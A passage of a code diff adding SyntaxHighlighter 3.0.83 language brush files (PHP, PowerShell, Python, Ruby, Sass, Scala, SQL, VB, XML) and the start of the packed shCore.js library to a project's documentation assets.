+						'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+
+						'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+
+						'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+
+						'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+
+						'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+
+						'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+
+						'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+
+						'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+
+						'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+
+						'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+
+						'strtoupper strtr strval substr substr_compare';
+
+		var keywords =	'abstract and array as break case catch cfunction class clone const continue declare default die do ' +
+						'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' +
+						'function include include_once global goto if implements interface instanceof namespace new ' +
+						'old_function or private protected public return require require_once static switch ' +
+						'throw try use var while xor ';
+		
+		var constants	= '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// single quoted strings
+			{ regex: /\$\w+/g,											css: 'variable' },			// variables
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' },			// common functions
+			{ regex: new RegExp(this.getKeywords(constants), 'gmi'),	css: 'constants' },			// constants
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }			// keyword
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['php'];
+
+	SyntaxHighlighter.brushes.Php = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushPlain.js
@@ -0,0 +1,33 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['text', 'plain'];
+
+	SyntaxHighlighter.brushes.Plain = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushPowerShell.js
@@ -0,0 +1,74 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributes by B.v.Zanten, Getronics
+		// http://confluence.atlassian.com/display/CONFEXT/New+Code+Macro
+
+		var keywords = 'Add-Content Add-History Add-Member Add-PSSnapin Clear(-Content)? Clear-Item ' +
+					'Clear-ItemProperty Clear-Variable Compare-Object ConvertFrom-SecureString Convert-Path ' +
+					'ConvertTo-Html ConvertTo-SecureString Copy(-Item)? Copy-ItemProperty Export-Alias ' +
+					'Export-Clixml Export-Console Export-Csv ForEach(-Object)? Format-Custom Format-List ' +
+					'Format-Table Format-Wide Get-Acl Get-Alias Get-AuthenticodeSignature Get-ChildItem Get-Command ' +
+					'Get-Content Get-Credential Get-Culture Get-Date Get-EventLog Get-ExecutionPolicy ' +
+					'Get-Help Get-History Get-Host Get-Item Get-ItemProperty Get-Location Get-Member ' +
+					'Get-PfxCertificate Get-Process Get-PSDrive Get-PSProvider Get-PSSnapin Get-Service ' +
+					'Get-TraceSource Get-UICulture Get-Unique Get-Variable Get-WmiObject Group-Object ' +
+					'Import-Alias Import-Clixml Import-Csv Invoke-Expression Invoke-History Invoke-Item ' +
+					'Join-Path Measure-Command Measure-Object Move(-Item)? Move-ItemProperty New-Alias ' +
+					'New-Item New-ItemProperty New-Object New-PSDrive New-Service New-TimeSpan ' +
+					'New-Variable Out-Default Out-File Out-Host Out-Null Out-Printer Out-String Pop-Location ' +
+					'Push-Location Read-Host Remove-Item Remove-ItemProperty Remove-PSDrive Remove-PSSnapin ' +
+					'Remove-Variable Rename-Item Rename-ItemProperty Resolve-Path Restart-Service Resume-Service ' +
+					'Select-Object Select-String Set-Acl Set-Alias Set-AuthenticodeSignature Set-Content ' +
+					'Set-Date Set-ExecutionPolicy Set-Item Set-ItemProperty Set-Location Set-PSDebug ' +
+					'Set-Service Set-TraceSource Set(-Variable)? Sort-Object Split-Path Start-Service ' +
+					'Start-Sleep Start-Transcript Stop-Process Stop-Service Stop-Transcript Suspend-Service ' +
+					'Tee-Object Test-Path Trace-Command Update-FormatData Update-TypeData Where(-Object)? ' +
+					'Write-Debug Write-Error Write(-Host)? Write-Output Write-Progress Write-Verbose Write-Warning';
+		var alias = 'ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl ' +
+					'ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv ' +
+					'gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ' +
+					'ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp ' +
+					'spps spsv sv tee cat cd cp h history kill lp ls ' +
+					'mount mv popd ps pushd pwd r rm rmdir echo cls chdir del dir ' +
+					'erase rd ren type % \\?';
+
+		this.regexList = [
+			{ regex: /#.*$/gm,										css: 'comments' },  // one line comments
+			{ regex: /\$[a-zA-Z0-9]+\b/g,							css: 'value'   },   // variables $Computer1
+			{ regex: /\-[a-zA-Z]+\b/g,								css: 'keyword' },   // Operators    -not  -and  -eq
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },    // strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,	css: 'string' },    // strings
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),	css: 'keyword' },
+			{ regex: new RegExp(this.getKeywords(alias), 'gmi'),	css: 'keyword' }
+		];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['powershell', 'ps'];
+
+	SyntaxHighlighter.brushes.PowerShell = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushPython.js
@@ -0,0 +1,64 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Gheorghe Milas and Ahmad Sherif
+	
+		var keywords =  'and assert break class continue def del elif else ' +
+						'except exec finally for from global if import in is ' +
+						'lambda not or pass print raise return try yield while';
+
+		var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' +
+					'chr classmethod cmp coerce compile complex delattr dict dir ' +
+					'divmod enumerate eval execfile file filter float format frozenset ' +
+					'getattr globals hasattr hash help hex id input int intern ' +
+					'isinstance issubclass iter len list locals long map max min next ' +
+					'object oct open ord pow print property range raw_input reduce ' +
+					'reload repr reversed round set setattr slice sorted staticmethod ' +
+					'str sum super tuple type type unichr unicode vars xrange zip';
+
+		var special =  'None True False self cls class_';
+
+		this.regexList = [
+				{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' },
+				{ regex: /^\s*@\w+/gm, 										css: 'decorator' },
+				{ regex: /(['\"]{3})([^\1])*?\1/gm, 						css: 'comments' },
+				{ regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, 					css: 'string' },
+				{ regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, 				css: 'string' },
+				{ regex: /\+|\-|\*|\/|\%|=|==/gm, 							css: 'keyword' },
+				{ regex: /\b\d+\.?\w*/g, 									css: 'value' },
+				{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' },
+				{ regex: new RegExp(this.getKeywords(keywords), 'gm'), 		css: 'keyword' },
+				{ regex: new RegExp(this.getKeywords(special), 'gm'), 		css: 'color1' }
+				];
+			
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['py', 'python'];
+
+	SyntaxHighlighter.brushes.Python = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushRuby.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Erik Peterson.
+	
+		var keywords =	'alias and BEGIN begin break case class def define_method defined do each else elsif ' +
+						'END end ensure false for if in module new next nil not or raise redo rescue retry return ' +
+						'self super then throw true undef unless until when while yield';
+
+		var builtins =	'Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload ' +
+						'Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ' +
+						'ThreadGroup Thread Time TrueClass';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments,	css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// single quoted strings
+			{ regex: /\b[A-Z0-9_]+\b/g,									css: 'constants' },		// constants
+			{ regex: /:[a-z][A-Za-z0-9_]*/g,							css: 'color2' },		// symbols
+			{ regex: /(\$|@@|@)\w+/g,									css: 'variable bold' },	// $global, @instance, and @@class variables
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },		// keywords
+			{ regex: new RegExp(this.getKeywords(builtins), 'gm'),		css: 'color1' }			// builtins
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['ruby', 'rails', 'ror', 'rb'];
+
+	SyntaxHighlighter.brushes.Ruby = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushSass.js
@@ -0,0 +1,94 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function getKeywordsCSS(str)
+		{
+			return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+		};
+	
+		function getValuesCSS(str)
+		{
+			return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+		};
+
+		var keywords =	'ascent azimuth background-attachment background-color background-image background-position ' +
+						'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+						'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+						'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+						'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+						'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+						'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+						'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+						'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+						'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+						'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+						'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+						'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+						'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+		
+		var values =	'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+						'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+						'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double '+
+						'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+						'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+						'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+						'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+						'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+						'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+						'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+						'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+						'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+						'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+						'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+		
+		var fonts =		'[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+		
+		var statements		= '!important !default';
+		var preprocessor	= '@import @extend @debug @warn @if @for @while @mixin @include';
+		
+		var r = SyntaxHighlighter.regexLib;
+		
+		this.regexList = [
+			{ regex: r.multiLineCComments,								css: 'comments' },		// multiline comments
+			{ regex: r.singleLineCComments,								css: 'comments' },		// singleline comments
+			{ regex: r.doubleQuotedString,								css: 'string' },		// double quoted strings
+			{ regex: r.singleQuotedString,								css: 'string' },		// single quoted strings
+			{ regex: /\#[a-fA-F0-9]{3,6}/g,								css: 'value' },			// html colors
+			{ regex: /\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g,			css: 'value' },			// sizes
+			{ regex: /\$\w+/g,											css: 'variable' },		// variables
+			{ regex: new RegExp(this.getKeywords(statements), 'g'),		css: 'color3' },		// statements
+			{ regex: new RegExp(this.getKeywords(preprocessor), 'g'),	css: 'preprocessor' },	// preprocessor
+			{ regex: new RegExp(getKeywordsCSS(keywords), 'gm'),		css: 'keyword' },		// keywords
+			{ regex: new RegExp(getValuesCSS(values), 'g'),				css: 'value' },			// values
+			{ regex: new RegExp(this.getKeywords(fonts), 'g'),			css: 'color1' }			// fonts
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['sass', 'scss'];
+
+	SyntaxHighlighter.brushes.Sass = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushScala.js
@@ -0,0 +1,51 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Yegor Jbanov and David Bernard.
+	
+		var keywords =	'val sealed case def true trait implicit forSome import match object null finally super ' +
+						'override try lazy for var catch throw type extends class while with new final yield abstract ' +
+						'else do if return protected private this package false';
+
+		var keyops =	'[_:=><%#@]+';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,			css: 'comments' },	// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,				css: 'comments' },	// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString,	css: 'string' },	// multi-line strings
+			{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,    css: 'string' },	// double-quoted string
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,				css: 'string' },	// strings
+			{ regex: /0x[a-f0-9]+|\d+(\.\d+)?/gi,								css: 'value' },		// numbers
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),				css: 'keyword' },	// keywords
+			{ regex: new RegExp(keyops, 'gm'),									css: 'keyword' }	// scala keyword
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['scala'];
+
+	SyntaxHighlighter.brushes.Scala = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushSql.js
@@ -0,0 +1,66 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var funcs	=	'abs avg case cast coalesce convert count current_timestamp ' +
+						'current_user day isnull left lower month nullif replace right ' +
+						'session_user space substring sum system_user upper user year';
+
+		var keywords =	'absolute action add after alter as asc at authorization begin bigint ' +
+						'binary bit by cascade char character check checkpoint close collate ' +
+						'column commit committed connect connection constraint contains continue ' +
+						'create cube current current_date current_time cursor database date ' +
+						'deallocate dec decimal declare default delete desc distinct double drop ' +
+						'dynamic else end end-exec escape except exec execute false fetch first ' +
+						'float for force foreign forward free from full function global goto grant ' +
+						'group grouping having hour ignore index inner insensitive insert instead ' +
+						'int integer intersect into is isolation key last level load local max min ' +
+						'minute modify move name national nchar next no numeric of off on only ' +
+						'open option order out output partial password precision prepare primary ' +
+						'prior privileges procedure public read real references relative repeatable ' +
+						'restrict return returns revoke rollback rollup rows rule schema scroll ' +
+						'second section select sequence serializable set size smallint static ' +
+						'statistics table temp temporary then time timestamp to top transaction ' +
+						'translation trigger true truncate uncommitted union unique update values ' +
+						'varchar varying view when where with work';
+
+		var operators =	'all and any between cross in join like not null or outer some';
+
+		this.regexList = [
+			{ regex: /--(.*)$/gm,												css: 'comments' },			// one line and multiline comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,	css: 'string' },			// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString,	css: 'string' },			// single quoted strings
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),				css: 'color2' },			// functions
+			{ regex: new RegExp(this.getKeywords(operators), 'gmi'),			css: 'color1' },			// operators and such
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),				css: 'keyword' }			// keyword
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['sql'];
+
+	SyntaxHighlighter.brushes.Sql = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
doc/guides/javascripts/syntaxhighlighter/shBrushVb.js
@@ -0,0 +1,56 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto ' +
+						'Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate ' +
+						'CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType ' +
+						'Date Decimal Declare Default Delegate Dim DirectCast Do Double Each ' +
+						'Else ElseIf End Enum Erase Error Event Exit False Finally For Friend ' +
+						'Function Get GetType GoSub GoTo Handles If Implements Imports In ' +
+						'Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module ' +
+						'MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing ' +
+						'NotInheritable NotOverridable Object On Option Optional Or OrElse ' +
+						'Overloads Overridable Overrides ParamArray Preserve Private Property ' +
+						'Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume ' +
+						'Return Select Set Shadows Shared Short Single Static Step Stop String ' +
+						'Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until ' +
+						'Variant When While With WithEvents WriteOnly Xor';
+
+		this.regexList = [
+			{ regex: /'.*$/gm,										css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },			// strings
+			{ regex: /^\s*#.*$/gm,									css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }			// vb keyword
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['vb', 'vbnet'];
+
+	SyntaxHighlighter.brushes.Vb = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushXml.js
@@ -0,0 +1,69 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function process(match, regexInfo)
+		{
+			var constructor = SyntaxHighlighter.Match,
+				code = match[0],
+				tag = new XRegExp('(&lt;|<)[\\s\\/\\?]*(?<name>[:\\w-\\.]+)', 'xg').exec(code),
+				result = []
+				;
+		
+			if (match.attributes != null) 
+			{
+				var attributes,
+					regex = new XRegExp('(?<name> [\\w:\\-\\.]+)' +
+										'\\s*=\\s*' +
+										'(?<value> ".*?"|\'.*?\'|\\w+)',
+										'xg');
+
+				while ((attributes = regex.exec(code)) != null) 
+				{
+					result.push(new constructor(attributes.name, match.index + attributes.index, 'color1'));
+					result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string'));
+				}
+			}
+
+			if (tag != null)
+				result.push(
+					new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword')
+				);
+
+			return result;
+		}
+	
+		this.regexList = [
+			{ regex: new XRegExp('(\\&lt;|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\&gt;|>)', 'gm'),			css: 'color2' },	// <![ ... [ ... ]]>
+			{ regex: SyntaxHighlighter.regexLib.xmlComments,												css: 'comments' },	// <!-- ... -->
+			{ regex: new XRegExp('(&lt;|<)[\\s\\/\\?]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(&gt;|>)', 'sg'), func: process }
+		];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['xml', 'xhtml', 'xslt', 'html'];
+
+	SyntaxHighlighter.brushes.Xml = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shCore.js
@@ -0,0 +1,17 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f}6 t(f){H(f.1J?"g":"")+(f.4s?"i":"")+(f.4p?"m":"")+(f.4v?"x":"")+(f.3n?"y":"")}6 B(f,e,a,b){K c=u.L,d,h,g;v=R;5K{O(;c--;){g=u[c];I(a&g.3r&&(!g.2p||g.2p.W(b))){g.2q.12=e;I((h=g.2q.X(f))&&h.P===e){d={3k:g.2b.W(b,h,a),1C:h};1N}}}}5v(i){1S i}5q{v=11}H d}6 p(f,e,a){I(3b.Z.1i)H f.1i(e,a);O(a=a||0;a<f.L;a++)I(f[a]===e)H a;H-1}M=6(f,e){K a=[],b=M.1B,c=0,d,h;I(M.1R(f)){I(e!==1d)1S 3m("2a\'t 5r 5I 5F 5B 5C 15 5E 5p");H r(f)}I(v)1S 2U("2a\'t W 3l M 59 5m 5g 5x 5i");e=e||"";O(d={2N:11,19:[],2K:6(g){H e.1i(g)>-1},3d:6(g){e+=g}};c<f.L;)I(h=B(f,c,b,d)){a.U(h.3k);c+=h.1C[0].L||1}Y I(h=n.X.W(z[b],f.1a(c))){a.U(h[0]);c+=h[0].L}Y{h=f.3a(c);I(h==="[")b=M.2I;Y I(h==="]")b=M.1B;a.U(h);c++}a=15(a.1K(""),n.Q.W(e,w,""));a.1w={1m:f,19:d.2N?d.19:N};H a};M.3v="1.5.0";M.2I=1;M.1B=2;K 